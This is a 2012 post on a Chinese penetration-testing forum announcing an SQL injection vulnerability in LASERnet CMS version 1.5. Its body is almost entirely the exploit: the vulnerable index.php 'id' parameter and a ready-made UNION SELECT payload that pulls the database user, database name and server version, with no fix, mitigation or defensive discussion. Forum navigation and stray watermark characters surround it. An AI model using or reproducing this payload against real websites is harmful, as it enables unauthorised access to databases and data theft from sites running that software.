找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › LASERnet CMS Version 1.5 SQL注入漏洞
返回列表 发新帖
查看: 2060|回复: 0
打印 上一主题 下一主题

LASERnet CMS Version 1.5 SQL注入漏洞

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2012-9-10 20:47:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
利用方法：( S( W1 i; |7 y9 j
http://www.xxx.com/index.php?id=[SQL]  m# M1 }4 l3 k3 B2 _3 C4 U" L
Demo:/ _8 ~4 L6 V9 o5 u
http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+
回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表